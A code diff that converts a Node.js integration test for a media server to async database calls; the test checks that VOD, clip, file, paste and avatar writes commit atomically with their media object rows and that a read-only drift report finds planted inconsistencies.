+ const thumbService = require('../server/thumbnails/thumbnail-service');
+ const cutter = require('../server/vod/clip-cutter');
+ const vodStorage = require('../server/vod/vod-storage');
+ // The revisioned tier policies load once the database is open (server/index.js does this at boot).
+ await vodStorage.tierConfig.init(vodStorage.DEFAULTS);
+ await require('../server/objects/tier-policy').init();
+ const clipJobs = require('../server/vod/clip-jobs');
+ const { finalizeVod } = require('../server/vod/finalize');
+
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key-object-first' });
+ const raw = db.getDb();
+ const q = { all: async (sql, p = []) => await raw.prepare(sql).all(...p), get: async (sql, p = []) => await raw.prepare(sql).get(...p) };
+ const count = async (table) => (await raw.prepare(`SELECT COUNT(*) AS n FROM ${table}`).get()).n;
+
+ // No ffmpeg in these paths: the thumbnail generators and the probes answer as a real file would.
+ thumbService.generateVodThumbnail = async () => null;
+ thumbService.generateClipThumbnail = async () => null;
+ tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 30, error: null });
+ tools.probeDuration = async () => ({ ok: true, seconds: 30, format: {}, streams: [], error: null });
+ tools.remuxForSeeking = async () => true;
+ tools.probeVodInfo = async () => ({ duration: 12 });
+
+ /** The row, and the object its object_id names; asserts the pair agrees on every field a sync writes. */
+ async function linked(table, keyCol, key, label) {
+ const row = await db.get(`SELECT * FROM ${table} WHERE ${keyCol} = ?`, [key]);
+ assert.ok(row, `${label}: row exists`);
+ assert.ok(row.object_id, `${label}: row names its object`);
+ const obj = await model.getObject(row.object_id);
+ assert.ok(obj, `${label}: object exists right after the write`);
+ const p = { vods: model.vodProjection, clips: model.clipProjection, files: model.fileProjection, pastes: model.pasteProjection }[table](row);
+ const want = drift.expectedFields(p);
+ for (const f of drift.FIELDS) assert.strictEqual(String(obj[f] ?? ''), String(want[f] ?? ''), `${label}: object ${f}`);
+ return { row, obj };
+ }
+ const noDrift = async (label) => {
+ const r = await drift.buildReport(q);
+ assert.strictEqual(r.total_drift, 0, `${label}:\n${drift.formatReport(r)}`);
+ return r;
};
};
- const png = await sharp({ create: { width: 24, height: 24, channels: 3, background: '#3366ff' } }).png().toBuffer();
-
- // ── 1. VOD: create, chunk upload, metadata/visibility, finalize, thumbnail, health, tier move ──
- let r = await call('POST', '/vods', { title: 'First', user_id: 7, visibility: 'unlisted' });
- assert.strictEqual(r.status, 201);
- const vodId = r.body.id;
- let { obj } = linked('vods', 'id', vodId, 'vod create');
- assert.deepStrictEqual([obj.kind, obj.visibility, obj.lifecycle_status, obj.legacy_ref], ['vod', 'unlisted', 'uploading', `legacy:live:vod:${vodId}`]);
-
- r = await call('POST', '/vods', { title: 'Clips only', clips_only: true });
- assert.strictEqual(r.status, 201);
- const clipsOnly = db.get('SELECT * FROM vods WHERE id = ?', [r.body.id]);
- assert.strictEqual(clipsOnly.clips_only, 1, 'clips_only written with the row');
- assert.strictEqual(clipsOnly.object_id, null, 'a clips-only recording has no object (skipped by design)');
-
- r = await call('POST', `/vods/${vodId}/chunks`, form('chunk', Buffer.alloc(40000, 1), 'video/webm', 'a.webm'));
- assert.strictEqual(r.body.status, 'created');
- ({ obj } = linked('vods', 'id', vodId, 'first chunk'));
- const loc = () => model.listLocations(obj.id).find(l => l.provider === 'local');
- assert.strictEqual(loc().state, 'present', 'the recording file is a present local copy at once');
- assert.strictEqual(obj.size_bytes, 40000);
- r = await call('POST', `/vods/${vodId}/chunks`, form('chunk', Buffer.alloc(8000, 2), 'video/webm', 'b.webm'));
- assert.strictEqual(r.body.status, 'appended');
- ({ obj } = linked('vods', 'id', vodId, 'chunk progress'));
- assert.strictEqual(obj.size_bytes, 48000, 'progress updates carry the object size with them');
-
- r = await call('PUT', `/vods/${vodId}`, { title: 'Renamed', visibility: 'private' });
- assert.strictEqual(r.status, 200);
- ({ obj } = linked('vods', 'id', vodId, 'vod update'));
- assert.strictEqual(obj.visibility, 'private');
- assert.strictEqual(model.parseJson(obj.metadata, {}).title, 'Renamed');
-
- const done = await finalizeVod(vodId);
- assert.ok(done && done.health_status === 'ok');
- ({ obj } = linked('vods', 'id', vodId, 'finalize'));
- assert.strictEqual(obj.lifecycle_status, 'ready', 'the ready transition commits with its object');
- assert.strictEqual(model.parseJson(obj.metadata, {}).duration_seconds, 30);
-
- r = await call('POST', `/thumbnails/vod/${vodId}`, { image: png.toString('base64') });
- assert.strictEqual(r.status, 200);
- ({ obj } = linked('vods', 'id', vodId, 'thumbnail'));
- const thumbName = path.basename(r.body.url);
- const thumbObj = model.getObjectByLegacyRef(`legacy:live:thumbnail:${thumbName}`);
- assert.ok(thumbObj, 'the thumbnail object is written with the row');
- assert.strictEqual(model.getVariant(obj.id, 'thumbnail').derived_object_id, thumbObj.id);
- assert.deepStrictEqual([thumbObj.visibility, thumbObj.size_bytes], ['unlisted', png.length], 'a private VOD\'s thumbnail is unlisted');
-
- db.updateVodHealth(vodId, { status: 'corrupt', issues: ['test'], quarantine: true });
- assert.strictEqual(linked('vods', 'id', vodId, 'health').obj.lifecycle_status, 'failed');
- db.updateVodHealth(vodId, { status: 'ok', issues: [] });
-
- model.afterTierMove(vodId, ['b2'], () => db.run("UPDATE vods SET storage_provider = 'b2', storage_key = 'vods/x.webm' WHERE id = ?", [vodId]));
- ({ obj } = linked('vods', 'id', vodId, 'tier move'));
- assert.strictEqual(obj.canonical_provider, 'b2');
- assert.strictEqual(model.listLocations(obj.id).find(l => l.provider === 'b2').state, 'present', 'the verified copy is marked with the flip');
-
- // A ghost row (a recording that never produced a file) gets its object as it is quarantined.
- raw.prepare("INSERT INTO vods (id, app_id, title, created_at) VALUES (500, 'live', 'ghost', datetime('now', '-2 hours'))").run();
- assert.strictEqual(vodStorage.reconcileGhosts(), 1);
- assert.strictEqual(linked('vods', 'id', 500, 'ghost quarantine').obj.lifecycle_status, 'failed');
- console.log('✅ VOD writes (create, chunks, update, finalize, thumbnail, health, tier move, ghost quarantine) commit with their object');
-
- // ── 2. Clips: upload, create + re-cut (processing -> ready | failed), update, delete ──
- r = await call('POST', '/clips', form('video', Buffer.alloc(5000, 3), 'video/webm', 'c.webm', { title: 'Up', vod_id: vodId, visibility: 'private' }));
- assert.strictEqual(r.status, 201);
- const upId = r.body.id;
- ({ obj } = linked('clips', 'id', upId, 'clip upload'));
- assert.deepStrictEqual([obj.kind, obj.visibility, obj.lifecycle_status, obj.size_bytes], ['clip', 'private', 'ready', 5000]);
-
- const cutId = Number(db.createClip({ app_id: 'live', vod_id: vodId, user_id: 7, title: 'Cut', start_time: 1, end_time: 6, duration_seconds: 5, visibility: 'unlisted', status: 'processing' }).lastInsertRowid);
- ({ obj } = linked('clips', 'id', cutId, 'clip create'));
- assert.deepStrictEqual([obj.visibility, obj.lifecycle_status], ['unlisted', 'uploading']);
- const cutFile = path.join(process.env.CLIPS_PATH, 'cut.webm');
- fs.writeFileSync(cutFile, Buffer.alloc(6000, 4));
- const realResolve = vodStorage.resolveMediaSource;
- const realCut = cutter.cutClipFile;
- vodStorage.resolveMediaSource = async () => ({ kind: 'file', value: '/src.webm' });
- cutter.cutClipFile = async () => ({ ok: true, filePath: cutFile, duration: 5 });
- assert.strictEqual((await clipJobs.recutClip(cutId)).ok, true);
- ({ obj } = linked('clips', 'id', cutId, 'clip ready'));
- assert.deepStrictEqual([obj.lifecycle_status, obj.size_bytes], ['ready', 6000], 'the ready transition (announce) commits with its object');
- vodStorage.resolveMediaSource = async () => null;
- assert.strictEqual((await clipJobs.recutClip(cutId)).ok, false);
- assert.strictEqual(linked('clips', 'id', cutId, 'clip failed').obj.lifecycle_status, 'failed');
- vodStorage.resolveMediaSource = realResolve;
- cutter.cutClipFile = realCut;
-
- r = await call('PUT', `/clips/${upId}`, { title: 'Better', visibility: 'public', auto_generated: 1 });
- assert.strictEqual(r.status, 200);
- ({ obj } = linked('clips', 'id', upId, 'clip update'));
- assert.strictEqual(obj.visibility, 'public');
- assert.deepStrictEqual([model.parseJson(obj.metadata, {}).title, model.parseJson(obj.metadata, {}).auto_generated], ['Better', true]);
-
- const doomedFile = path.join(process.env.CLIPS_PATH, 'doomed.webm');
- fs.writeFileSync(doomedFile, Buffer.alloc(700, 5));
- const doomed = Number(db.createClip({ app_id: 'live', vod_id: vodId, title: 'Doomed', file_path: doomedFile, status: 'ready' }).lastInsertRowid);
- const doomedObj = linked('clips', 'id', doomed, 'clip to delete').obj.id;
- assert.strictEqual((await call('DELETE', `/clips/${doomed}`)).status, 200);
- assert.strictEqual(model.getObject(doomedObj).lifecycle_status, 'deleted', 'a deleted row takes its object with it (trigger, same statement)');
- console.log('✅ clip writes (upload, create, re-cut ready/failed, update, delete) commit with their object');
-
- // ── 3. Files, screenshot pastes, avatars ──
- r = await call('POST', '/files', form('file', Buffer.from('hello object model'), 'text/plain', 'notes.txt'));
- assert.strictEqual(r.status, 201);
- const fileKey = r.body.key;
- ({ obj } = linked('files', 'key', fileKey, 'file upload'));
- assert.strictEqual(obj.content_hash, crypto.createHash('sha256').update('hello object model').digest('hex'));
- const spare = await call('POST', '/files', form('file', Buffer.from('spare'), 'text/plain', 'spare.txt'));
- const spareObj = linked('files', 'key', spare.body.key, 'file to delete').obj.id;
- assert.strictEqual((await call('DELETE', `/files/${encodeURIComponent(spare.body.key)}`)).status, 200);
- assert.strictEqual(model.getObject(spareObj).lifecycle_status, 'deleted');
-
- r = await call('POST', '/pastes', form('screenshot', png, 'image/png', 'shot.png', { title: 'Shot', visibility: 'unlisted' }));
- assert.strictEqual(r.status, 201);
- const slug = r.body.slug;
- ({ obj } = linked('pastes', 'slug', slug, 'screenshot paste'));
- assert.deepStrictEqual([obj.kind, obj.visibility, obj.legacy_ref], ['screenshot', 'unlisted', `legacy:live:paste:${slug}`]);
- assert.strictEqual((await call('PUT', `/pastes/${slug}`, { title: 'Shot 2', visibility: 'private' })).status, 200);
- assert.strictEqual(linked('pastes', 'slug', slug, 'paste update').obj.visibility, 'private');
- assert.strictEqual((await call('POST', '/pastes/bulk', { slugs: [slug], action: 'public' })).status, 200);
- assert.strictEqual(linked('pastes', 'slug', slug, 'paste bulk').obj.visibility, 'public');
- const censor = await call('POST', `/pastes/${slug}/censor`, form('screenshot', png, 'image/png', 'censored.png'));
- assert.strictEqual(censor.status, 200);
- assert.strictEqual(linked('pastes', 'slug', slug, 'paste censor').obj.size_bytes, png.length);
- const text = await call('POST', '/pastes', { content: 'just text' });
- assert.strictEqual(db.get('SELECT object_id FROM pastes WHERE slug = ?', [text.body.slug]).object_id, null, 'a text paste has no bytes and no object');
-
- // Avatar ingest's write (server/avatars/ingest.js): the avatar row and its object together.
- const avatarFile = path.join(process.env.PASTES_PATH, 'avatar.webp');
- fs.writeFileSync(avatarFile, png);
- const avatarId = Number(db.withObject('paste', (x) => x.lastInsertRowid, () => db.run(`INSERT INTO pastes (app_id, slug, user_id, type, title, content, language, visibility, screenshot_path, metadata)
- VALUES ('network', 'av1', 42, 'screenshot', 'Avatar', '', 'text', 'unlisted', ?, ?)`, [avatarFile, JSON.stringify({ kind: 'avatar', mime_type: 'image/webp' })])).lastInsertRowid);
- assert.deepStrictEqual([linked('pastes', 'id', avatarId, 'avatar').obj.kind, linked('pastes', 'id', avatarId, 'avatar').obj.legacy_ref], ['avatar', 'legacy:network:avatar:av1']);
- console.log('✅ file, screenshot-paste and avatar writes commit with their object; deletes mark it deleted');
-
- const clean = noDrift('after every write path');
- assert.ok(clean.total_rows >= 8, 'the report checked the rows written above');
-
- // ── 4. Atomicity: an object write that fails takes the row write with it ──
- raw.exec(`CREATE TEMP TRIGGER t_refuse_object_insert BEFORE INSERT ON main.media_objects BEGIN SELECT RAISE(ABORT, 'object write refused (test)'); END;
- CREATE TEMP TRIGGER t_refuse_object_update BEFORE UPDATE ON main.media_objects BEGIN SELECT RAISE(ABORT, 'object write refused (test)'); END;`);
- const before = { vods: count('vods'), clips: count('clips'), files: count('files'), pastes: count('pastes'), objects: count('media_objects') };
- const unchanged = (label) => assert.deepStrictEqual({ vods: count('vods'), clips: count('clips'), files: count('files'), pastes: count('pastes'), objects: count('media_objects') }, before, label);
-
- assert.throws(() => db.createVod({ app_id: 'live', title: 'No object' }), /object write refused/);
- unchanged('createVod: neither row');
- assert.strictEqual((await call('POST', '/vods', { title: 'No object' })).status, 500);
- unchanged('POST /vods: neither row');
- assert.throws(() => db.createClip({ app_id: 'live', vod_id: vodId, title: 'No object', status: 'processing' }), /object write refused/);
- unchanged('createClip: neither row');
- assert.strictEqual((await call('POST', '/files', form('file', Buffer.from('never stored'), 'text/plain', 'never.txt'))).status, 500);
- unchanged('POST /files: neither row');
- assert.strictEqual((await call('POST', '/pastes', form('screenshot', png, 'image/png', 'never.png'))).status, 500);
- unchanged('POST /pastes screenshot: neither row');
-
- // Updates: the row keeps its old values when its object cannot follow.
- assert.throws(() => db.setVodVisibility(vodId, 'public'), /object write refused/);
- assert.strictEqual(db.get('SELECT visibility FROM vods WHERE id = ?', [vodId]).visibility, 'private', 'visibility change rolled back');
- assert.strictEqual((await call('PUT', `/clips/${upId}`, { title: 'Lost' })).status, 500);
- assert.strictEqual(db.get('SELECT title FROM clips WHERE id = ?', [upId]).title, 'Better', 'clip title rolled back');
- // The announce() path: a finalize whose object cannot be written commits no ready transition (and no event).
- raw.prepare("UPDATE vods SET is_recording = 1, health_status = 'unknown' WHERE id = ?").run(vodId);
- await assert.rejects(finalizeVod(vodId, { fromJob: true }), /object write refused/);
- assert.strictEqual(db.get('SELECT is_recording FROM vods WHERE id = ?', [vodId]).is_recording, 1, 'ready transition rolled back with its object');
-
- // A write that throws after its projection insert leaves neither row.
- assert.throws(() => db.withObject('vod', (x) => x.lastInsertRowid, () => {
- db.run("INSERT INTO vods (app_id, title) VALUES ('live', 'half')");
- throw new Error('crash after the insert');
- }), /crash after the insert/);
- unchanged('thrown after the insert: neither row');
- raw.exec('DROP TRIGGER temp.t_refuse_object_insert; DROP TRIGGER temp.t_refuse_object_update;');
- await finalizeVod(vodId, { fromJob: true });
- noDrift('after the refused writes');
- console.log('✅ a write whose object cannot be written leaves neither row (inserts, updates, announce path, a throw after the insert)');
-
- // ── 5. Drift report: read-only, finds planted drift ──
- raw.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path) VALUES (900, 'live', 3, 'Planted: no object', NULL)").run();
- const upObj = db.get('SELECT object_id FROM clips WHERE id = ?', [upId]).object_id;
- raw.prepare("UPDATE media_objects SET visibility = 'private' WHERE id = ?").run(upObj);
- const fileObj = db.get('SELECT object_id FROM files WHERE key = ?', [fileKey]).object_id;
- raw.prepare('UPDATE media_objects SET size_bytes = 1, owner_user_id = 99 WHERE id = ?').run(fileObj);
- raw.prepare('UPDATE pastes SET object_id = NULL WHERE slug = ?').run(slug);
- const cutObj = db.get('SELECT object_id FROM clips WHERE id = ?', [cutId]).object_id;
- raw.prepare("UPDATE media_objects SET lifecycle_status = 'deleted' WHERE id = ?").run(cutObj);
-
- const snapshot = () => ['vods', 'clips', 'files', 'pastes', 'media_objects', 'media_locations', 'media_variants', 'media_relationships']
- .map(t => JSON.stringify(raw.prepare(`SELECT * FROM ${t} ORDER BY rowid`).all())).join('|');
- const snap = snapshot();
- const writesBefore = raw.prepare('SELECT total_changes() AS n').get().n;
- const rep = drift.buildReport(q, { limit: 5 });
- assert.strictEqual(raw.prepare('SELECT total_changes() AS n').get().n, writesBefore, 'the report issues no write');
- assert.strictEqual(snapshot(), snap, 'nothing changed');
-
- assert.strictEqual(rep.total_drift, 5, drift.formatReport(rep));
- assert.deepStrictEqual([rep.kinds.vod.missing, rep.kinds.clip.mismatch, rep.kinds.file.mismatch, rep.kinds.screenshot.unlinked], [1, 2, 1, 1]);
- assert.deepStrictEqual([rep.field_counts.visibility, rep.field_counts.size_bytes, rep.field_counts.owner_user_id, rep.field_counts.lifecycle_status], [1, 1, 1, 1]);
- const ex = (kind, id) => rep.kinds[kind].examples.find(e => String(e.id) === String(id));
- assert.deepStrictEqual(ex('vod', 900).problems, ['missing']);
- assert.deepStrictEqual(ex('clip', upId).diff.visibility, { row: 'public', object: 'private' });
- assert.deepStrictEqual(ex('clip', cutId).diff.lifecycle_status, { row: 'failed', object: 'deleted' });
- assert.deepStrictEqual(Object.keys(ex('file', fileKey).diff).sort(), ['owner_user_id', 'size_bytes']);
- assert.deepStrictEqual(ex('screenshot', db.get('SELECT id FROM pastes WHERE slug = ?', [slug]).id).problems, ['unlinked']);
- assert.strictEqual(rep.kinds.vod.skipped, 1, 'the clips-only recording is skipped, not drift');
- assert.strictEqual(drift.buildReport(q, { appId: 'network' }).total_drift, 0, '--app narrows the report');
- assert.match(drift.formatReport(rep), /total drift: 5 of \d+ row\(s\)/);
-
- // The script: the database opened read-only, exit 0 whatever it finds (and on an error).
- const script = path.join(__dirname, '..', 'scripts', 'object-drift-report.js');
- const out = JSON.parse(execFileSync(process.execPath, [script, '--db', process.env.DB_PATH, '--json', '--limit', '1'], { env: process.env, encoding: 'utf8' }));
- assert.strictEqual(out.total_drift, 5);
- assert.ok(Object.values(out.kinds).every(k => k.examples.length <= 1), '--limit caps the examples per kind');
- assert.match(execFileSync(process.execPath, [script, '--db', process.env.DB_PATH], { env: process.env, encoding: 'utf8' }), /clip examples \(2 of 2\)/);
- execFileSync(process.execPath, [script, '--db', path.join(tmp, 'missing.db')], { env: process.env, stdio: 'ignore' }); // throws on a non-zero exit
- assert.strictEqual(snapshot(), snap, 'the script changed nothing either');
-
- // Re-projecting the planted rows clears the drift the report listed.
- for (const id of [900]) model.sync('vod', id);
- model.sync('clip', upId); model.sync('clip', cutId); model.sync('file', fileKey);
- model.sync('paste', db.get('SELECT id FROM pastes WHERE slug = ?', [slug]).id);
- noDrift('after re-projecting the planted drift');
- console.log('✅ drift report: read-only (report and script), counts per kind with examples, finds missing / unlinked / mismatched objects');
-
- server.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('✅ All object-first write tests passed');
- process.exit(0);
+
+ const app = express();
+ app.use(express.json({ limit: '5mb' }));
+ app.use('/api/v1/:app/vods', require('../server/vod/routes'));
+ app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));
+ app.use('/api/v1/:app/files', require('../server/files/routes'));
+ app.use('/api/v1/:app/thumbnails', require('../server/thumbnails/routes'));
+ app.use('/api/v1/:app/pastes', require('../server/pastes/routes'));
+ const server = http.createServer(app);
+
+ (async () => {
+ await new Promise((r) => server.listen(0, '127.0.0.1', r));
+ const base = `http://127.0.0.1:${server.address().port}/api/v1/live`;
+ const auth = { authorization: 'Bearer live-key-object-first' };
+ const call = async (method, p, body) => {
+ const headers = { ...auth };
+ if (body && !(body instanceof FormData)) headers['content-type'] = 'application/json';
+ const r = await fetch(base + p, { method, headers, body: body && !(body instanceof FormData) ? JSON.stringify(body) : body });
+ return { status: r.status, body: await r.json().catch(() => null) };
+ };
+ const form = (field, bytes, type, name, extra = {}) => {
+ const f = new FormData();
+ for (const [k, v] of Object.entries(extra)) f.append(k, String(v));
+ f.append(field, new Blob([bytes], { type }), name);
+ return f;
+ };
+ const png = await sharp({ create: { width: 24, height: 24, channels: 3, background: '#3366ff' } }).png().toBuffer();
+
+ // ── 1. VOD: create, chunk upload, metadata/visibility, finalize, thumbnail, health, tier move ──
+ let r = await call('POST', '/vods', { title: 'First', user_id: 7, visibility: 'unlisted' });
+ assert.strictEqual(r.status, 201);
+ const vodId = r.body.id;
+ let { obj } = await linked('vods', 'id', vodId, 'vod create');
+ assert.deepStrictEqual([obj.kind, obj.visibility, obj.lifecycle_status, obj.legacy_ref], ['vod', 'unlisted', 'uploading', `legacy:live:vod:${vodId}`]);
+
+ r = await call('POST', '/vods', { title: 'Clips only', clips_only: true });
+ assert.strictEqual(r.status, 201);
+ const clipsOnly = await db.get('SELECT * FROM vods WHERE id = ?', [r.body.id]);
+ assert.strictEqual(clipsOnly.clips_only, 1, 'clips_only written with the row');
+ assert.strictEqual(clipsOnly.object_id, null, 'a clips-only recording has no object (skipped by design)');
+
+ r = await call('POST', `/vods/${vodId}/chunks`, form('chunk', Buffer.alloc(40000, 1), 'video/webm', 'a.webm'));
+ assert.strictEqual(r.body.status, 'created');
+ ({ obj } = await linked('vods', 'id', vodId, 'first chunk'));
+ const loc = async () => (await model.listLocations(obj.id)).find(l => l.provider === 'local');
+ assert.strictEqual((await loc()).state, 'present', 'the recording file is a present local copy at once');
+ assert.strictEqual(obj.size_bytes, 40000);
+ r = await call('POST', `/vods/${vodId}/chunks`, form('chunk', Buffer.alloc(8000, 2), 'video/webm', 'b.webm'));
+ assert.strictEqual(r.body.status, 'appended');
+ ({ obj } = await linked('vods', 'id', vodId, 'chunk progress'));
+ assert.strictEqual(obj.size_bytes, 48000, 'progress updates carry the object size with them');
+
+ r = await call('PUT', `/vods/${vodId}`, { title: 'Renamed', visibility: 'private' });
+ assert.strictEqual(r.status, 200);
+ ({ obj } = await linked('vods', 'id', vodId, 'vod update'));
+ assert.strictEqual(obj.visibility, 'private');
+ assert.strictEqual(model.parseJson(obj.metadata, {}).title, 'Renamed');
+
+ const done = await finalizeVod(vodId);
+ assert.ok(done && done.health_status === 'ok');
+ ({ obj } = await linked('vods', 'id', vodId, 'finalize'));
+ assert.strictEqual(obj.lifecycle_status, 'ready', 'the ready transition commits with its object');
+ assert.strictEqual(model.parseJson(obj.metadata, {}).duration_seconds, 30);
+
+ r = await call('POST', `/thumbnails/vod/${vodId}`, { image: png.toString('base64') });
+ assert.strictEqual(r.status, 200);
+ ({ obj } = await linked('vods', 'id', vodId, 'thumbnail'));
+ const thumbName = path.basename(r.body.url);
+ const thumbObj = await model.getObjectByLegacyRef(`legacy:live:thumbnail:${thumbName}`);
+ assert.ok(thumbObj, 'the thumbnail object is written with the row');
+ assert.strictEqual((await model.getVariant(obj.id, 'thumbnail')).derived_object_id, thumbObj.id);
+ assert.deepStrictEqual([thumbObj.visibility, thumbObj.size_bytes], ['unlisted', png.length], 'a private VOD\'s thumbnail is unlisted');
+
+ await db.updateVodHealth(vodId, { status: 'corrupt', issues: ['test'], quarantine: true });
+ assert.strictEqual((await linked('vods', 'id', vodId, 'health')).obj.lifecycle_status, 'failed');
+ await db.updateVodHealth(vodId, { status: 'ok', issues: [] });
+
+ await model.afterTierMove(vodId, ['b2'], async () => await db.run("UPDATE vods SET storage_provider = 'b2', storage_key = 'vods/x.webm' WHERE id = ?", [vodId]));
+ ({ obj } = await linked('vods', 'id', vodId, 'tier move'));
+ assert.strictEqual(obj.canonical_provider, 'b2');
+ assert.strictEqual((await model.listLocations(obj.id)).find(l => l.provider === 'b2').state, 'present', 'the verified copy is marked with the flip');
+
+ // A ghost row (a recording that never produced a file) gets its object as it is quarantined.
+ await raw.prepare("INSERT INTO vods (id, app_id, title, created_at) OVERRIDING SYSTEM VALUE VALUES (500, 'live', 'ghost', datetime('now', '-2 hours')) RETURNING id").run();
+ assert.strictEqual(await vodStorage.reconcileGhosts(), 1);
+ assert.strictEqual((await linked('vods', 'id', 500, 'ghost quarantine')).obj.lifecycle_status, 'failed');
+ console.log('✅ VOD writes (create, chunks, update, finalize, thumbnail, health, tier move, ghost quarantine) commit with their object');
+
+ // ── 2. Clips: upload, create + re-cut (processing -> ready | failed), update, delete ──
+ r = await call('POST', '/clips', form('video', Buffer.alloc(5000, 3), 'video/webm', 'c.webm', { title: 'Up', vod_id: vodId, visibility: 'private' }));
+ assert.strictEqual(r.status, 201);
+ const upId = r.body.id;
+ ({ obj } = await linked('clips', 'id', upId, 'clip upload'));
+ assert.deepStrictEqual([obj.kind, obj.visibility, obj.lifecycle_status, obj.size_bytes], ['clip', 'private', 'ready', 5000]);
+
+ const cutId = Number((await db.createClip({ app_id: 'live', vod_id: vodId, user_id: 7, title: 'Cut', start_time: 1, end_time: 6, duration_seconds: 5, visibility: 'unlisted', status: 'processing' })).lastInsertRowid);
+ ({ obj } = await linked('clips', 'id', cutId, 'clip create'));
+ assert.deepStrictEqual([obj.visibility, obj.lifecycle_status], ['unlisted', 'uploading']);
+ const cutFile = path.join(process.env.CLIPS_PATH, 'cut.webm');
+ fs.writeFileSync(cutFile, Buffer.alloc(6000, 4));
+ const realResolve = vodStorage.resolveMediaSource;
+ const realCut = cutter.cutClipFile;
+ vodStorage.resolveMediaSource = async () => ({ kind: 'file', value: '/src.webm' });
+ cutter.cutClipFile = async () => ({ ok: true, filePath: cutFile, duration: 5 });
+ assert.strictEqual((await clipJobs.recutClip(cutId)).ok, true);
+ ({ obj } = await linked('clips', 'id', cutId, 'clip ready'));
+ assert.deepStrictEqual([obj.lifecycle_status, obj.size_bytes], ['ready', 6000], 'the ready transition (announce) commits with its object');
+ vodStorage.resolveMediaSource = async () => null;
+ assert.strictEqual((await clipJobs.recutClip(cutId)).ok, false);
+ assert.strictEqual((await linked('clips', 'id', cutId, 'clip failed')).obj.lifecycle_status, 'failed');
+ vodStorage.resolveMediaSource = realResolve;
+ cutter.cutClipFile = realCut;
+
+ r = await call('PUT', `/clips/${upId}`, { title: 'Better', visibility: 'public', auto_generated: 1 });
+ assert.strictEqual(r.status, 200);
+ ({ obj } = await linked('clips', 'id', upId, 'clip update'));
+ assert.strictEqual(obj.visibility, 'public');
+ assert.deepStrictEqual([model.parseJson(obj.metadata, {}).title, model.parseJson(obj.metadata, {}).auto_generated], ['Better', true]);
+
+ const doomedFile = path.join(process.env.CLIPS_PATH, 'doomed.webm');
+ fs.writeFileSync(doomedFile, Buffer.alloc(700, 5));
+ const doomed = Number((await db.createClip({ app_id: 'live', vod_id: vodId, title: 'Doomed', file_path: doomedFile, status: 'ready' })).lastInsertRowid);
+ const doomedObj = (await linked('clips', 'id', doomed, 'clip to delete')).obj.id;
+ assert.strictEqual((await call('DELETE', `/clips/${doomed}`)).status, 200);
+ assert.strictEqual((await model.getObject(doomedObj)).lifecycle_status, 'deleted', 'a deleted row takes its object with it (trigger, same statement)');
+ console.log('✅ clip writes (upload, create, re-cut ready/failed, update, delete) commit with their object');
+
+ // ── 3. Files, screenshot pastes, avatars ──
+ r = await call('POST', '/files', form('file', Buffer.from('hello object model'), 'text/plain', 'notes.txt'));
+ assert.strictEqual(r.status, 201);
+ const fileKey = r.body.key;
+ ({ obj } = await linked('files', 'key', fileKey, 'file upload'));
+ assert.strictEqual(obj.content_hash, crypto.createHash('sha256').update('hello object model').digest('hex'));
+ const spare = await call('POST', '/files', form('file', Buffer.from('spare'), 'text/plain', 'spare.txt'));
+ const spareObj = (await linked('files', 'key', spare.body.key, 'file to delete')).obj.id;
+ assert.strictEqual((await call('DELETE', `/files/${encodeURIComponent(spare.body.key)}`)).status, 200);
+ assert.strictEqual((await model.getObject(spareObj)).lifecycle_status, 'deleted');
+
+ r = await call('POST', '/pastes', form('screenshot', png, 'image/png', 'shot.png', { title: 'Shot', visibility: 'unlisted' }));
+ assert.strictEqual(r.status, 201);
+ const slug = r.body.slug;
+ ({ obj } = await linked('pastes', 'slug', slug, 'screenshot paste'));
+ assert.deepStrictEqual([obj.kind, obj.visibility, obj.legacy_ref], ['screenshot', 'unlisted', `legacy:live:paste:${slug}`]);
+ assert.strictEqual((await call('PUT', `/pastes/${slug}`, { title: 'Shot 2', visibility: 'private' })).status, 200);
+ assert.strictEqual((await linked('pastes', 'slug', slug, 'paste update')).obj.visibility, 'private');
+ assert.strictEqual((await call('POST', '/pastes/bulk', { slugs: [slug], action: 'public' })).status, 200);
+ assert.strictEqual((await linked('pastes', 'slug', slug, 'paste bulk')).obj.visibility, 'public');
+ const censor = await call('POST', `/pastes/${slug}/censor`, form('screenshot', png, 'image/png', 'censored.png'));
+ assert.strictEqual(censor.status, 200);
+ assert.strictEqual((await linked('pastes', 'slug', slug, 'paste censor')).obj.size_bytes, png.length);
+ const text = await call('POST', '/pastes', { content: 'just text' });
+ assert.strictEqual((await db.get('SELECT object_id FROM pastes WHERE slug = ?', [text.body.slug])).object_id, null, 'a text paste has no bytes and no object');
+
+ // Avatar ingest's write (server/avatars/ingest.js): the avatar row and its object together.
+ const avatarFile = path.join(process.env.PASTES_PATH, 'avatar.webp');
+ fs.writeFileSync(avatarFile, png);
+ const avatarId = Number((await db.withObject('paste', (x) => x.lastInsertRowid, async () => await db.run(`INSERT INTO pastes (app_id, slug, user_id, type, title, content, language, visibility, screenshot_path, metadata)
+ VALUES ('network', 'av1', 42, 'screenshot', 'Avatar', '', 'text', 'unlisted', ?, ?) RETURNING id`, [avatarFile, JSON.stringify({ kind: 'avatar', mime_type: 'image/webp' })]))).lastInsertRowid);
+ assert.deepStrictEqual([(await linked('pastes', 'id', avatarId, 'avatar')).obj.kind, (await linked('pastes', 'id', avatarId, 'avatar')).obj.legacy_ref], ['avatar', 'legacy:network:avatar:av1']);
+ console.log('✅ file, screenshot-paste and avatar writes commit with their object; deletes mark it deleted');
+
+ const clean = await noDrift('after every write path');
+ assert.ok(clean.total_rows >= 8, 'the report checked the rows written above');
+
+ // ── 4. Atomicity: an object write that fails takes the row write with it ──
+ // Every object write fails (as a trigger refusing it would): the model's INSERT/UPDATE of media_objects throws.
+ const realRun = db.run;
+ db.run = async (sql, params) => {
+ if (/^\s*(INSERT INTO|UPDATE) media_objects\b/.test(sql)) throw new Error('object write refused (test)');
+ return await realRun(sql, params);
+ };
+ const before = { vods: await count('vods'), clips: await count('clips'), files: await count('files'), pastes: await count('pastes'), objects: await count('media_objects') };
+ const unchanged = async (label) => assert.deepStrictEqual({ vods: await count('vods'), clips: await count('clips'), files: await count('files'), pastes: await count('pastes'), objects: await count('media_objects') }, before, label);
+
+ await assert.rejects(async () => await db.createVod({ app_id: 'live', title: 'No object' }), /object write refused/);
+ await unchanged('createVod: neither row');
+ assert.strictEqual((await call('POST', '/vods', { title: 'No object' })).status, 500);
+ await unchanged('POST /vods: neither row');
